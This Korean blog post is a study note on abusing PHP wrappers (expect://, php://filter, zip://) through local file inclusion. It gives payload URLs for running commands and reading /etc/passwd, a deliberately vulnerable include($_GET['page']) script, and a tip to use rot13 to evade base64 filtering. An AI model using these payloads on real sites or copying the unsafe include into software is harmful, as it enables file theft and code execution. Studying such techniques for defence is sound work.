1. 이론
(1) expect://
: system command 실행 가능
ex) www.test.com?page=expect://ls
(2) php://filter
: I/O 스트림을 다루는데 사용하는 wrapper로 encode/decode를 이용하여 서버 내 파일을 읽을 수 있다. 대표적으로 base64를 이용한다.
ex) www.test.com?page=php://filter/convert.base64-encode/resource=/etc/passwd
(3) zip://
: zip:// wrapper는 압축을 풀고 그 안에 있는 파일의 코드를 실행시켜주는 wrapper이다.
ex) www.test.com?page=zip://file.zip#shell.php
2. 실습
(1) test.php 코드
<?php
include($_GET['page']);
?>
(2) expect wrapper 실습
- 오류가 떴으며, 검색해본 결과 expect wrapper를 이용하기 위해서는 따로 설치하는 과정이 필요한 것으로 보인다.
- 기본적으로 설치되어 있지 않는 모듈일 가능성이 커 실제로 이용하기에는 제한적이라 생각들어 여기서 stop
- 더 진행해보고자 하는 분들은 아래 출처 페이지를 참고하여 설치 후 진행해보길 바란다.
(3) php://filter 실습
- resource에 지정한 파일이 다음과 같이 base64로 인코딩된 상태로 출력된다.
- 출력된 base64를 디코딩하면 해당 파일의 내용을 볼 수 있다.
(4) zip:// 실습
- shell.php 코드
<?php
echo "SUCCESS";
?>
- zip 명령어 : zip rootable.zip shell.php
- 해당 wrapper 또한 expect 처럼 세팅이 필요해보인다.
3. 결론
- php://filter가 짱짱맨이다
- php://filter의 경우 base64가 유명하여 막힐 가능성이 있으므로, string.rot13으로 암호화하여 진행하는 경우도 생각해놓자
ex) www.test.com?page=php://filter/string.rot13/resource=/etc/passwd
(출처)
https://www.opentutorials.org/module/4291/26819
http://linux-problem-solver.blogspot.com/2014/02/solution-to-installation-of-expect.html
https://www.php.net/manual/en/filters.string.php
'Hacking > Web' 카테고리의 다른 글
LDAP Injection (0) | 2020.03.04 |
---|---|
Study of XXE (0) | 2020.03.03 |
JWT Signature - RS256 to HS256 (3) | 2020.02.27 |
open_basedir setting and bypass (0) | 2019.12.31 |
Sqlite Sql Injection Prevention (0) | 2019.12.30 |